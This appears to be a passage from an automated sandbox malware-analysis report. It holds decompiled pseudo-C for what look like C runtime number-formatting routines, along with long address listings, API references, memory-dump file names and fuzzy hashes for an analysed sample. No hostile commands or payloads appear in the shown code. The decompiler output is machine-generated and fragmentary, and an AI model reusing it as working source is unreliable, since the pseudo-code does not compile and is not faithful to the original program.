														 *(__ebp - 0x10) = __ecx;
														goto L24;
													case 0xd:
														L24:
														goto L209;
												}
											}
											L210:
											 *(_t668 - 0x2ec) =  *(_t668 - 0x24c);
											E0041ACB0(_t668 - 0x40);
											_t497 =  *(_t668 - 0x2ec);
											goto L211;
										}
									}
									L178:
									__eflags =  *(_t668 - 0x24);
									if( *(_t668 - 0x24) == 0) {
										L180:
										 *((intOrPtr*)(_t668 - 4)) =  *((intOrPtr*)(_t668 - 4)) - 1;
										 *((char*)( *((intOrPtr*)(_t668 - 4)))) = 0x30;
										_t605 =  *(_t668 - 0x24) + 1;
										__eflags = _t605;
										 *(_t668 - 0x24) = _t605;
										goto L181;
									}
									L179:
									__eflags =  *((char*)( *((intOrPtr*)(_t668 - 4)))) - 0x30;
									if( *((char*)( *((intOrPtr*)(_t668 - 4)))) == 0x30) {
										goto L181;
									}
									goto L180;
								}
								L174:
								asm("cdq");
								_t624 =  *(_t668 - 0x2b8);
								 *(_t668 - 0x2a4) = E00430780(_t624,  *(_t668 - 0x2b4),  *(_t668 - 8), _t623) + 0x30;
								asm("cdq");
								 *(_t668 - 0x2b8) = E00430800( *(_t668 - 0x2b8),  *(_t668 - 0x2b4),  *(_t668 - 8), _t624);
								 *(_t668 - 0x2b4) = _t624;
								__eflags =  *(_t668 - 0x2a4) - 0x39;
								if( *(_t668 - 0x2a4) > 0x39) {
									_t628 =  *(_t668 - 0x2a4) +  *((intOrPtr*)(_t668 - 0x260));
									__eflags = _t628;
									 *(_t668 - 0x2a4) = _t628;
								}
								 *((char*)( *((intOrPtr*)(_t668 - 4)))) =  *(_t668 - 0x2a4);
								 *((intOrPtr*)(_t668 - 4)) =  *((intOrPtr*)(_t668 - 4)) - 1;
								L172:
								_t623 =  *(_t668 - 0x30) - 1;
								 *(_t668 - 0x30) =  *(_t668 - 0x30) - 1;
								__eflags =  *(_t668 - 0x30);
								if( *(_t668 - 0x30) > 0) {
									goto L174;
								}
								goto L173;
							}
						}
						L159:
						__eflags =  *(_t668 - 0x2b0);
						if( *(_t668 - 0x2b0) >= 0) {
							goto L161;
						}
						goto L160;
						L161:
						 *(_t668 - 0x2b8) =  *(_t668 - 0x2b0);
						 *(_t668 - 0x2b4) =  *(_t668 - 0x2ac);
						goto L162;
					}
				}
			}

0x00427c0d
0x00427c0d
0x00427c0d
0x00427c0d
0x00427c1d
0x00427c1f
0x00427c22
0x00427c22
0x00427c28
0x00427c28
0x00427c2b
0x00427c2b
0x00427c2e
0x00427c33
0x00427c55
0x00427c55
0x00427c5b
0x00427c7d
0x00427c80
0x00427cc7
0x00427cc7
0x00427cca
0x00427ceb
0x00427cf0
0x00427cf3
0x00427cf5
0x00427cfb
0x00427ccc
0x00427cd0
0x00427cd5
0x00427cd8
0x00427cd9
0x00427cdf
0x00427cdf
0x00427c82
0x00427c85
0x00427c85
0x00427c88
0x00427caa
0x00427caf
0x00427cb5
0x00427cb6
0x00427cbc
0x00427c8a
0x00427c8e
0x00427c93
0x00427c97
0x00427c98
0x00427c9e
0x00427c9e
0x00427cc2
0x00427c5d
0x00427c61
0x00427c66
0x00427c69
0x00427c6f
0x00427c6f
0x00427c35
0x00427c39
0x00427c3e
0x00427c41
0x00427c47
0x00427c47
0x00427d04
0x00427d07
0x00000000
0x00000000
0x00427d09
0x00427d09
0x00427d10
0x00000000
0x00000000
0x00427d12
0x00427d12
0x00427d1d
0x00427d2b
0x00427d30
0x00427d36
0x00427d44
0x00427d61
0x00427d64
0x00427d69
0x00427d6e
0x00427d74
0x00427d82
0x00427d82
0x00427d8b
0x00427d8b
0x00427d74
0x00427d91
0x00427d95
0x00427da6
0x00427da9
0x00427db0
0x00427db2
0x00427db2
0x00427d97
0x00427d97
0x00427d97
0x00427dbf
0x00427dc5
0x00427dc7
0x00427dc7
0x00427dd1
0x00427dd4
0x00427dd4
0x00427dda
0x00427ddd
0x00427de0
0x00427de2
0x00000000
0x00000000
0x00427de4
0x00427dea
0x00427df0
0x00427e6d
0x00427e73
0x00427e7c
0x00427e82
0x00427e88
0x00427eb3
0x00427eb3
0x00427eb3
0x00427eb7
0x00000000
0x00000000
0x00427ebd
0x00427ec0
0x00427ec3
0x00427ec8
0x00427ecd
0x00427edf
0x00427ee2
0x00427ef4
0x00427ef7
0x00427ef9
0x00427efd
0x00427efd
0x00427ee4
0x00427ee4
0x00427ee8
0x00427ee8
0x00427ecf
0x00427ecf
0x00427ed3
0x00427ed3
0x00427ecd
0x00427f0d
0x00427f16
0x00427f19
0x00427f2f
0x00427f34
0x00427f34
0x00427f4a
0x00427f4f
0x00427f55
0x00427f58
0x00427f5d
0x00427f60
0x00427f76
0x00427f7b
0x00427f7b
0x00427f60
0x00427f7e
0x00427f82
0x00428056
0x00428069
0x0042806e
0x00000000
0x00427f88
0x00427f88
0x00427f88
0x00427f8c
0x00000000
0x00000000
0x00427f92
0x00427f92
0x00427f9f
0x00427fa8
0x00427fae
0x00427fae
0x00427fbd
0x00427fc3
0x00427fc5
0x00000000
0x00000000
0x00427fcb
0x00427fd4
0x00427ff3
0x00427ff8
0x00427ffb
0x0042800a
0x00428010
0x00428017
0x00428022
0x00428022
0x00000000
0x00428022
0x00428019
0x00428019
0x00428020
0x0042802e
0x00428047
0x0042804c
0x00000000
0x0042804c
0x00000000
0x00428020
0x00428054
0x00428071
0x00428071
0x00428078
0x0042807d
0x00428080
0x00428096
0x0042809b
0x0042809b
0x00428080
0x00428078
0x0042809e
0x0042809e
0x004280a2
0x004280aa
0x004280af
0x004280b2
0x004280b2
0x004280b9
0x004280b9
0x0042723f
0x00427252
0x00427257
0x00000000
0x0042726a
0x00427274
0x0042729b
0x00427282
0x00427293
0x00427293
0x00427274
0x004272a5
0x004272ab
0x004272bd
0x004272c8
0x004272d4
0x004272e1
0x00000000
0x00000000
0x004272e7
0x004272ed
0x00000000
0x004272f4
0x004272f4
0x0042730c
0x00427311
0x00427316
0x004273d0
0x004273e3
0x004273e8
0x00000000
0x0042731c
0x0042732f
0x00427334
0x0042733a
0x0042733c
0x00427345
0x00427348
0x00427354
0x00427358
0x0042735e
0x00427360
0x00427365
0x00427367
0x0042736c
0x00427371
0x00427373
0x00427378
0x0042737e
0x00427380
0x00427380
0x0042737e
0x00427381
0x00427388
0x00000000
0x0042738a
0x0042738f
0x004273ab
0x004273b3
0x004273c0
0x004273c5
0x00000000
0x004273c5
0x00427388
0x00000000
0x004273f0
0x004273f0
0x004273f7
0x004273fa
0x004273fd
0x00427400
0x00427403
0x00427406
0x00427409
0x00427410
0x00427417
0x00000000
0x00000000
0x00427423
0x00427423
0x0042742a
0x00427436
0x00427439
0x0042743f
0x00427446
0x00000000
0x00000000
0x00427448
0x00427448
0x0042744e
0x0042744e
0x00427455
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00427498
0x00427498
0x0042749f
0x004274a2
0x004274cc
0x004274cf
0x004274cf
0x004274d2
0x004274d9
0x004274d9
0x004274dd
0x004274a4
0x004274a4
0x004274b0
0x004274b3
0x004274b7
0x004274b9
0x004274bc
0x004274bc
0x004274bf
0x004274c5
0x004274c7
0x004274c7
0x004274ca
0x004274e0
0x00000000
0x00000000
0x004274e5
0x004274e5
0x00000000
0x00000000
0x004274f1
0x004274f1
0x004274f8
0x004274fb
0x0042751b
0x0042751e
0x0042751e
0x00427528
0x00427528
0x0042752c
0x004274fd
0x004274fd
0x00427509
0x0042750c
0x00427510
0x00427512
0x00427512
0x00427519
0x00000000
0x00000000
0x00427534
0x00427534
0x0042753b
0x00427547
0x0042754a
0x00427550
0x00427557
0x0042766a
0x00000000
0x0042766a
0x0042755d
0x0042755d
0x00427563
0x00427563
0x0042756a
0x00000000
0x004275a0
0x004275a0
0x004275a3
0x004275a6
0x004275a9
0x004275d1
0x004275d1
0x004275d4
0x004275d7
0x004275da
0x004275ff
0x004275ff
0x00427602
0x00427605
0x00427608
0x00427641
0x00427652
0x00000000
0x00427652
0x0042760a
0x0042760a
0x0042760d
0x00427610
0x00427613
0x00000000
0x00000000
0x00427615
0x00427615
0x00427618
0x0042761b
0x0042761e
0x00000000
0x00000000
0x00427620
0x00427620
0x00427623
0x00427626
0x00427629
0x00000000
0x00000000
0x0042762b
0x0042762b
0x0042762e
0x00427631
0x00427634
0x00000000
0x00000000
0x00427636
0x00427636
0x00427639
0x0042763c
0x0042763f
0x00427643
0x00000000
0x00427643
0x00000000
0x0042763f
0x004275dc
0x004275dc
0x004275df
0x004275e3
0x004275e6
0x00000000
0x004275e8
0x004275eb
0x004275ee
0x004275f1
0x004275f4
0x004275fa
0x00000000
0x004275fa
0x004275e6
0x004275ab
0x004275ab
0x004275ae
0x004275b2
0x004275b5
0x00000000
0x004275b7
0x004275ba
0x004275bd
0x004275c0
0x004275c3
0x004275c9
0x00000000
0x004275c9
0x00000000
0x00427654
0x00427657
0x0042765a
0x00000000
0x00000000
0x00427571
0x00427571
0x00427574
0x00427577
0x0042757a
0x00427592
0x00427595
0x00427595
0x00427598
0x0042757c
0x0042757f
0x00427582
0x00427588
0x0042758d
0x0042758d
0x00000000
0x00000000
0x0042765f
0x0042765f
0x00427662
0x00427662
0x00427667
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0042766f
0x0042766f
0x00427676
0x00427682
0x00427685
0x0042768b
0x00427692
0x00427eb3
0x00427eb3
0x00427eb3
0x00427eb7
0x00000000
0x00000000
0x00000000
0x00427eb7
0x00427eb3
0x00427698
0x0042769e
0x0042769e
0x004276a5
0x00000000
0x004279ff
0x004279ff
0x00427a06
0x00427a0d
0x00427a0d
0x00427a10
0x00000000
0x00000000
0x004276ac
0x004276af
0x004276af
0x004276b5
0x004276b7
0x004276ba
0x004276ba
0x004276bf
0x004276bf
0x00000000
0x00000000
0x004277ec
0x004277ef
0x004277ef
0x004277f4
0x004277f6
0x004277f9
0x004277f9
0x004277ff
0x004277ff
0x00000000
0x00000000
0x00427bcc
0x00427bcc
0x00000000
0x00000000
0x00427756
0x00427756
0x00427762
0x00427768
0x0042776f
0x0042777d
0x0042777d
0x00427783
0x00427786
0x00427792
0x004277e7
0x00000000
0x004277e7
0x00427771
0x00427771
0x00427777
0x0042777b
0x0042779a
0x0042779a
0x004277a0
0x004277c8
0x004277cf
0x004277d5
0x004277d8
0x004277db
0x004277e1
0x004277e4
0x004277a2
0x004277a2
0x004277a8
0x004277ab
0x004277ae
0x004277b4
0x004277b7
0x004277ba
0x004277bc
0x004277bf
0x004277bf
0x00000000
0x004277a0
0x00000000
0x00000000
0x00427a16
0x00427a19
0x00427a1c
0x00427a1f
0x00427a25
0x00427a28
0x00427a2f
0x00427a33
0x00427a3e
0x00427a3e
0x00427a42
0x00427a59
0x00427a59
0x00427a60
0x00427a62
0x00427a62
0x00427a69
0x00427a69
0x00427a70
0x00427a81
0x00427a90
0x00427a93
0x00427a97
0x00427aad
0x00427a99
0x00427a99
0x00427a9c
0x00427aa2
0x00427aa8
0x00427aa8
0x00427a97
0x00427ab7
0x00427aba
0x00427abd
0x00427ac0
0x00427ac0
0x00427ac3
0x00427ac3
0x00427ac6
0x00427acc
0x00427ad2
0x00427ada
0x00427adb
0x00427ade
0x00427adf
0x00427ae2
0x00427ae3
0x00427aea
0x00427aeb
0x00427aee
0x00427aef
0x00427af2
0x00427af3
0x00427af9
0x00427afa
0x00427b08
0x00427b0a
0x00427b10
0x00427b10
0x00427b16
0x00427b18
0x00427b1c
0x00427b1e
0x00427b26
0x00427b27
0x00427b2a
0x00427b2b
0x00427b39
0x00427b3b
0x00427b3b
0x00427b1c
0x00427b3e
0x00427b45
0x00427b48
0x00427b4d
0x00427b4d
0x00427b53
0x00427b55
0x00427b5d
0x00427b5e
0x00427b61
0x00427b62
0x00427b71
0x00427b73
0x00427b73
0x00427b53
0x00427b76
0x00427b79
0x00427b7c
0x00427b7f
0x00427b84
0x00427b8a
0x00427b8d
0x00427b90
0x00427b90
0x00427b93
0x00427b93
0x00427b96
0x00427ba2
0x00427eb3
0x00427eb3
0x00427eb3
0x00427eb7
0x00000000
0x00000000
0x00000000
0x00427eb7
0x00000000
0x00427eb3
0x00427a44
0x00427a44
0x00427a4b
0x00427a4e
0x00000000
0x00000000
0x00427a50
0x00427a50
0x00000000
0x00427a50
0x00427a35
0x00427a35
0x00000000
0x00000000
0x004276c2
0x004276c5
0x004276c5
0x004276cb
0x00427726
0x0042772e
0x00427735
0x0042773b
0x00427741
0x004276cd
0x004276cd
0x004276d7
0x004276db
0x004276e3
0x004276ea
0x004276f7
0x004276fe
0x0042770a
0x00427710
0x00427717
0x00427719
0x00427719
0x00427720
0x00427748
0x0042774e
0x00427eb3
0x00427eb3
0x00427eb3
0x00427eb7
0x00000000
0x00000000
0x00000000
0x00427eb7
0x00000000
0x00427baa
0x00427bad
0x00427bb0
0x00427bb3
0x00427c2b
0x00427c2e
0x00427c33
0x00427c55
0x00427c55
0x00427c5b
0x00427c7d
0x00427c80
0x00427cc7
0x00427cc7
0x00427cca
0x00427ceb
0x00427cf0
0x00427cf3
0x00427cf5
0x00427cfb
0x00427ccc
0x00427cd0
0x00427cd5
0x00427cd8
0x00427cd9
0x00427cdf
0x00427cdf
0x00427c82
0x00427c85
0x00427c85
0x00427c88
0x00427caa
0x00427caf
0x00427cb5
0x00427cb6
0x00427cbc
0x00427c8a
0x00427c8e
0x00427c93
0x00427c97
0x00427c98
0x00427c9e
0x00427c9e
0x00427cc2
0x00427c5d
0x00427c61
0x00427c66
0x00427c69
0x00427c6f
0x00427c6f
0x00427c35
0x00427c39
0x00427c3e
0x00427c41
0x00427c47
0x00427c47
0x00427d04
0x00427d07
0x00000000
0x00000000
0x00000000
0x00427908
0x00427908
0x00427914
0x0042791a
0x0042791f
0x00427921
0x004279cb
0x004279ce
0x004279ce
0x004279d1
0x004279e5
0x004279eb
0x004279f1
0x004279d3
0x004279d3
0x004279e0
0x004279e0
0x004279f3
0x00427eb3
0x00427eb3
0x00427eb3
0x00427eb7
0x00000000
0x00000000
0x00000000
0x00427eb7
0x00427eb3
0x00427927
0x00427927
0x00427927
0x00427929
0x00427937
0x0042792b
0x0042792b
0x0042792b
0x00427941
0x00427947
0x0042794d
0x00427954
0x00427956
0x0042795b
0x0042795d
0x00427962
0x00427967
0x00427969
0x0042796e
0x00427971
0x00427974
0x00427976
0x00427976
0x00427974
0x00427977
0x0042797e
0x004279c6
0x00427eb3
0x00427eb3
0x00427eb3
0x00427eb7
0x00000000
0x00000000
0x00000000
0x00427eb7
0x00427980
0x00427980
0x00427985
0x004279a1
0x004279a9
0x004279b3
0x004279b6
0x004279bb
0x004280d8
0x004280e5
0x004280e5
0x00000000
0x00000000
0x00000000
0x00427bc5
0x00427bc5
0x00000000
0x00000000
0x00427802
0x00427802
0x00427806
0x00427814
0x00427817
0x00427808
0x00427808
0x00427808
0x0042781d
0x00427823
0x00427829
0x00427835
0x0042783b
0x0042783b
0x00427841
0x004278a8
0x004278a8
0x004278ac
0x004278ae
0x004278b4
0x004278b4
0x004278b7
0x004278ba
0x004278c0
0x004278c0
0x004278c0
0x004278cc
0x004278cf
0x004278d5
0x004278d7
0x00000000
0x00000000
0x004278d9
0x004278d9
0x004278df
0x004278e2
0x004278e4
0x00000000
0x00000000
0x004278e6
0x004278ec
0x004278ef
0x004278ef
0x004278f7
0x004278f7
0x004278fd
0x004278fd
0x00427900
0x00000000
0x00427843
0x00427843
0x00427843
0x00427847
0x00427849
0x0042784e
0x0042784e
0x00427851
0x00427858
0x0042785b
0x00427861
0x00427861
0x00427861
0x0042786d
0x00427870
0x00427876
0x00427878
0x00000000
0x00000000
0x0042787a
0x0042787a
0x00427880
0x00427883
0x00427885
0x00000000
0x00000000
0x00427887
0x0042788d
0x00427890
0x00427890
0x00427898
0x0042789e
0x004278a1
0x004278a3
0x00427903
0x00427eb3
0x00427eb3
0x00427eb3
0x00427eb7
0x00000000
0x00000000
0x00000000
0x00427eb7
0x00427eb3
0x00000000
0x00427bbc
0x00427bbc
0x00427c2b
0x00427c2b
0x00427c2e
0x00427c33
0x00427c55
0x00427c55
0x00427c5b
0x00427c7d
0x00427c80
0x00427cc7
0x00427cc7
0x00427cca
0x00427ceb
0x00427cf0
0x00427cf3
0x00427cf5
0x00427cfb
0x00427ccc
0x00427cd0
0x00427cd5
0x00427cd8
0x00427cd9
0x00427cdf
0x00427cdf
0x00427c82
0x00427c85
0x00427c85
0x00427c88
0x00427caa
0x00427caf
0x00427cb5
0x00427cb6
0x00427cbc
0x00427c8a
0x00427c8e
0x00427c93
0x00427c97
0x00427c98
0x00427c9e
0x00427c9e
0x00427cc2
0x00427c5d
0x00427c61
0x00427c66
0x00427c69
0x00427c6f
0x00427c6f
0x00427c35
0x00427c39
0x00427c3e
0x00427c41
0x00427c47
0x00427c47
0x00427d04
0x00427d07
0x00000000
0x00000000
0x00000000
0x00427d07
0x00000000
0x00427bd8
0x00427bd8
0x00427be2
0x00427be2
0x00427bec
0x00427bec
0x00427bf2
0x00427bf4
0x00427bfe
0x00427bfe
0x00427c01
0x00427c04
0x00427c04
0x00427c2b
0x00427c2b
0x00427c2e
0x00427c33
0x00427c55
0x00427c55
0x00427c5b
0x00427c7d
0x00427c80
0x00427cc7
0x00427cc7
0x00427cca
0x00427ceb
0x00427cf0
0x00427cf3
0x00427cf5
0x00427cfb
0x00427ccc
0x00427cd0
0x00427cd5
0x00427cd8
0x00427cd9
0x00427cdf
0x00427cdf
0x00427c82
0x00427c85
0x00427c85
0x00427c88
0x00427caa
0x00427caf
0x00427cb5
0x00427cb6
0x00427cbc
0x00427c8a
0x00427c8e
0x00427c93
0x00427c97
0x00427c98
0x00427c9e
0x00427c9e
0x00427cc2
0x00427c5d
0x00427c61
0x00427c66
0x00427c69
0x00427c6f
0x00427c6f
0x00427c35
0x00427c39
0x00427c3e
0x00427c41
0x00427c47
0x00427c47
0x00427d04
0x00427d07
0x00000000
0x00000000
0x00000000
0x00427d07
0x00000000
0x00427eb3
0x00427eb3
0x00427eb3
0x00427eb7
0x00000000
0x00000000
0x00000000
0x00427eb7
0x00000000
0x00000000
0x00427472
0x00427475
0x00427478
0x00000000
0x00000000
0x0042747d
0x00427480
0x00427485
0x00000000
0x00000000
0x00427467
0x00427467
0x0042746a
0x0042746d
0x00000000
0x00000000
0x0042745c
0x0042745f
0x00427462
0x00000000
0x00000000
0x0042748a
0x0042748a
0x0042748d
0x0042748d
0x00427490
0x00000000
0x00000000
0x00427493
0x00000000
0x00000000
0x004272ed
0x004280be
0x004280c4
0x004280cd
0x004280d2
0x00000000
0x004280d2
0x00427eb3
0x00427e8a
0x00427e8a
0x00427e8e
0x00427e9b
0x00427ea1
0x00427ea7
0x00427ead
0x00427ead
0x00427eb0
0x00000000
0x00427eb0
0x00427e90
0x00427e96
0x00427e99
0x00000000
0x00000000
0x00000000
0x00427e99
0x00427df2
0x00427df5
0x00427dff
0x00427e0e
0x00427e17
0x00427e2d
0x00427e33
0x00427e39
0x00427e40
0x00427e48
0x00427e48
0x00427e4e
0x00427e4e
0x00427e5d
0x00427e65
0x00427dd4
0x00427dda
0x00427ddd
0x00427de0
0x00427de2
0x00000000
0x00000000
0x00000000
0x00427de2
0x00427dd4
0x00427d14
0x00427d14
0x00427d1b
0x00000000
0x00000000
0x00000000
0x00427d49
0x00427d4f
0x00427d5b
0x00000000
0x00427d5b
0x00427c2b

APIs

_get_int64_arg.LIBCMTD ref: 00427C39
__aullrem.LIBCMT ref: 00427E06
__aulldiv.LIBCMT ref: 00427E28

Strings

9, xrefs: 00427E39

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 50f9599ea3c35641d8adc9b49fa0aad7e181bc1c7d40e11cc0d3baf5df0e669b
Instruction ID: a250658855fc887a3da5e2d11bcbb484a4cca4dd6a98e10bbfb967a6f722f7de
Opcode Fuzzy Hash: 50f9599ea3c35641d8adc9b49fa0aad7e181bc1c7d40e11cc0d3baf5df0e669b
Instruction Fuzzy Hash: D5410671E14229DFDF64DF59D889BAEB7B5BF84300F50859AD049AB241C7389E80CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0043C284, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E0043C284(intOrPtr __ebx, intOrPtr __edi, intOrPtr __esi) {
				signed int _t483;
				signed int _t502;
				void* _t507;
				signed int _t509;
				void* _t517;
				void* _t535;
				signed int _t539;
				signed int _t552;
				signed int _t556;
				signed short _t557;
				signed int _t560;
				signed int _t563;
				signed int _t564;
				intOrPtr _t565;
				signed int _t613;
				signed int _t621;
				signed int _t623;
				signed int _t625;
				signed int _t632;
				signed int _t636;
				signed int _t644;
				signed int _t671;
				intOrPtr _t672;
				intOrPtr _t673;
				signed int _t674;
				void* _t676;

				L0:
				while(1) {
					L0:
					_t673 = __esi;
					_t672 = __edi;
					_t565 = __ebx;
					 *(_t674 - 8) = 8;
					if(( *(_t674 - 0x10) & 0x00000080) != 0) {
						__edx =  *(__ebp - 0x10);
						__edx =  *(__ebp - 0x10) | 0x00000200;
						__eflags = __edx;
						 *(__ebp - 0x10) = __edx;
					}
					while(1) {
						L150:
						__eflags =  *(_t674 - 0x10) & 0x00008000;
						if(( *(_t674 - 0x10) & 0x00008000) == 0) {
							_t623 =  *(_t674 - 0x10) & 0x00001000;
							__eflags = _t623;
							if(_t623 == 0) {
								__eflags =  *(_t674 - 0x10) & 0x00000020;
								if(( *(_t674 - 0x10) & 0x00000020) == 0) {
									_t625 =  *(_t674 - 0x10) & 0x00000040;
									__eflags = _t625;
									if(_t625 == 0) {
										_t483 = E00428360(_t674 + 0x14);
										_t676 = _t676 + 4;
										__eflags = 0;
										 *(_t674 - 0x4a0) = _t483;
										 *(_t674 - 0x49c) = 0;
									} else {
										_t556 = E00428360(_t674 + 0x14);
										_t676 = _t676 + 4;
										asm("cdq");
										 *(_t674 - 0x4a0) = _t556;
										 *(_t674 - 0x49c) = _t625;
									}
								} else {
									_t671 =  *(_t674 - 0x10) & 0x00000040;
									__eflags = _t671;
									if(_t671 == 0) {
										_t557 = E00428360(_t674 + 0x14);
										_t676 = _t676 + 4;
										asm("cdq");
										 *(_t674 - 0x4a0) = _t557 & 0x0000ffff;
										 *(_t674 - 0x49c) = _t671;
									} else {
										_t560 = E00428360(_t674 + 0x14);
										_t676 = _t676 + 4;
										asm("cdq");
										 *(_t674 - 0x4a0) = _t560;
										 *(_t674 - 0x49c) = _t671;
									}
								}
							} else {
								_t563 = E00428380(_t674 + 0x14);
								_t676 = _t676 + 4;
								 *(_t674 - 0x4a0) = _t563;
								 *(_t674 - 0x49c) = _t623;
							}
						} else {
							_t564 = E00428380(_t674 + 0x14);
							_t676 = _t676 + 4;
							 *(_t674 - 0x4a0) = _t564;
							 *(_t674 - 0x49c) = _t621;
						}
						__eflags =  *(_t674 - 0x10) & 0x00000040;
						if(( *(_t674 - 0x10) & 0x00000040) == 0) {
							goto L167;
						}
						L163:
						__eflags =  *(_t674 - 0x49c);
						if(__eflags > 0) {
							goto L167;
						}
						L164:
						if(__eflags < 0) {
							L166:
							asm("adc edx, 0x0");
							 *(_t674 - 0x4a8) =  ~( *(_t674 - 0x4a0));
							 *(_t674 - 0x4a4) =  ~( *(_t674 - 0x49c));
							 *(_t674 - 0x10) =  *(_t674 - 0x10) | 0x00000100;
							L168:
							__eflags =  *(_t674 - 0x10) & 0x00008000;
							if(( *(_t674 - 0x10) & 0x00008000) == 0) {
								__eflags =  *(_t674 - 0x10) & 0x00001000;
								if(( *(_t674 - 0x10) & 0x00001000) == 0) {
									_t552 =  *(_t674 - 0x4a4) & 0x00000000;
									__eflags = _t552;
									 *(_t674 - 0x4a4) = _t552;
								}
							}
							__eflags =  *(_t674 - 0x30);
							if( *(_t674 - 0x30) >= 0) {
								 *(_t674 - 0x10) =  *(_t674 - 0x10) & 0xfffffff7;
								__eflags =  *(_t674 - 0x30) - 0x200;
								if( *(_t674 - 0x30) > 0x200) {
									 *(_t674 - 0x30) = 0x200;
								}
							} else {
								 *(_t674 - 0x30) = 1;
							}
							__eflags =  *(_t674 - 0x4a8) |  *(_t674 - 0x4a4);
							if(( *(_t674 - 0x4a8) |  *(_t674 - 0x4a4)) == 0) {
								 *(_t674 - 0x1c) = 0;
							}
							 *((intOrPtr*)(_t674 - 4)) = _t674 - 0x249;
							while(1) {
								L178:
								_t631 =  *(_t674 - 0x30) - 1;
								 *(_t674 - 0x30) =  *(_t674 - 0x30) - 1;
								__eflags =  *(_t674 - 0x30);
								if( *(_t674 - 0x30) > 0) {
									goto L180;
								}
								L179:
								__eflags =  *(_t674 - 0x4a8) |  *(_t674 - 0x4a4);
								if(( *(_t674 - 0x4a8) |  *(_t674 - 0x4a4)) == 0) {
									L183:
									 *(_t674 - 0x24) = _t674 - 0x249 -  *((intOrPtr*)(_t674 - 4));
									 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) + 1;
									__eflags =  *(_t674 - 0x10) & 0x00000200;
									if(( *(_t674 - 0x10) & 0x00000200) == 0) {
										while(1) {
											L187:
											__eflags =  *(_t674 - 0x28);
											if( *(_t674 - 0x28) != 0) {
												goto L212;
											}
											L188:
											__eflags =  *(_t674 - 0x10) & 0x00000040;
											if(( *(_t674 - 0x10) & 0x00000040) != 0) {
												__eflags =  *(_t674 - 0x10) & 0x00000100;
												if(( *(_t674 - 0x10) & 0x00000100) == 0) {
													__eflags =  *(_t674 - 0x10) & 0x00000001;
													if(( *(_t674 - 0x10) & 0x00000001) == 0) {
														__eflags =  *(_t674 - 0x10) & 0x00000002;
														if(( *(_t674 - 0x10) & 0x00000002) != 0) {
															 *((short*)(_t674 - 0x14)) = 0x20;
															 *(_t674 - 0x1c) = 1;
														}
													} else {
														 *((short*)(_t674 - 0x14)) = 0x2b;
														 *(_t674 - 0x1c) = 1;
													}
												} else {
													 *((short*)(_t674 - 0x14)) = 0x2d;
													 *(_t674 - 0x1c) = 1;
												}
											}
											 *((intOrPtr*)(_t674 - 0x4ac)) =  *((intOrPtr*)(_t674 - 0x18)) -  *(_t674 - 0x24) -  *(_t674 - 0x1c);
											__eflags =  *(_t674 - 0x10) & 0x0000000c;
											if(( *(_t674 - 0x10) & 0x0000000c) == 0) {
												E0043C970(0x20,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
												_t676 = _t676 + 0x10;
											}
											E0043C9B0( *(_t674 - 0x1c), _t674 - 0x14,  *(_t674 - 0x1c),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
											_t676 = _t676 + 0x10;
											__eflags =  *(_t674 - 0x10) & 0x00000008;
											if(( *(_t674 - 0x10) & 0x00000008) != 0) {
												__eflags =  *(_t674 - 0x10) & 0x00000004;
												if(( *(_t674 - 0x10) & 0x00000004) == 0) {
													E0043C970(0x30,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
													_t676 = _t676 + 0x10;
												}
											}
											__eflags =  *(_t674 - 0xc);
											if( *(_t674 - 0xc) != 0) {
												L208:
												E0043C9B0( *(_t674 - 0x24),  *((intOrPtr*)(_t674 - 4)),  *(_t674 - 0x24),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
												_t676 = _t676 + 0x10;
												goto L209;
											} else {
												L201:
												__eflags =  *(_t674 - 0x24);
												if( *(_t674 - 0x24) <= 0) {
													goto L208;
												}
												L202:
												 *((intOrPtr*)(_t674 - 0x4b0)) =  *((intOrPtr*)(_t674 - 4));
												 *(_t674 - 0x4b4) =  *(_t674 - 0x24);
												while(1) {
													L203:
													 *(_t674 - 0x4b4) =  *(_t674 - 0x4b4) - 1;
													__eflags =  *(_t674 - 0x4b4);
													if( *(_t674 - 0x4b4) <= 0) {
														break;
													}
													L204:
													_t535 = E0041ACE0(_t674 - 0x40);
													_t539 = E0043B410(_t674 - 0x458,  *((intOrPtr*)(_t674 - 0x4b0)),  *((intOrPtr*)( *((intOrPtr*)(E0041ACE0(_t674 - 0x40))) + 0xac)), _t535);
													_t676 = _t676 + 0x10;
													 *(_t674 - 0x4b8) = _t539;
													__eflags =  *(_t674 - 0x4b8);
													if( *(_t674 - 0x4b8) > 0) {
														L206:
														E0043C910( *(_t674 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
														_t676 = _t676 + 0xc;
														 *((intOrPtr*)(_t674 - 0x4b0)) =  *((intOrPtr*)(_t674 - 0x4b0)) +  *(_t674 - 0x4b8);
														continue;
													}
													L205:
													 *(_t674 - 0x44c) = 0xffffffff;
													break;
												}
												L207:
												L209:
												__eflags =  *(_t674 - 0x44c);
												if( *(_t674 - 0x44c) >= 0) {
													__eflags =  *(_t674 - 0x10) & 0x00000004;
													if(( *(_t674 - 0x10) & 0x00000004) != 0) {
														E0043C970(0x20,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
														_t676 = _t676 + 0x10;
